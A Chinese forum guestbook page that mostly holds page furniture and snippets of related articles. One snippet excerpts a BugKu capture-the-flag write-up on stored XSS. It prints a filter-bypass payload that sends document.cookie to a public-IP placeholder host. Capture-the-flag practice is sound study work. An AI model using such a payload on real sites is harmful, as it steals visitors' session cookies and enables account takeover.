-无-为-的留言板

01Byte空间 2020-01-02 06:40:23

大家好，这里是我的留言板，如果有问题，欢迎大家留言，我会第一时间进行回复

...全文

106 回复打赏收藏转发到动态举报

写回复

回复

切换为时间正序

请发表友善的回复…

发表回复

BUGKU-WEB 留言板

BUGKU-WEB 留言板1，xss双写绕过

题目：留言板 提示：无需登录后台，需要使用xss平台接收flag 打开场景后，出现了下面的界面。这题是我这么多天来做的最让感觉到无语的题，标题显示存储型xss，在课上了解，如果要让它触发就得有其他人访问界面。 ...

制作留言板1、留言板分为填加留言、保存留言、显示留言、管理留言等模块。显示留言页面应为系统默认页面或首页，管理页面由站长进行回复与删除管理。2、文件说明：default.asp(留言显示页面)显示留言按时间的降序...

本文介绍了bugku平台Web题【留言板1】的解题方法。题目需要利用XSS漏洞获取flag，通过双写+大写绕过过滤机制。payload使用了[img]<sCrSCriptipt>location.href="http://公网IP/?f="+document.cookie...

686

社区成员

253,706

社区内容

发帖

与我相关

我的任务

其他技术论坛（原bbs）

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章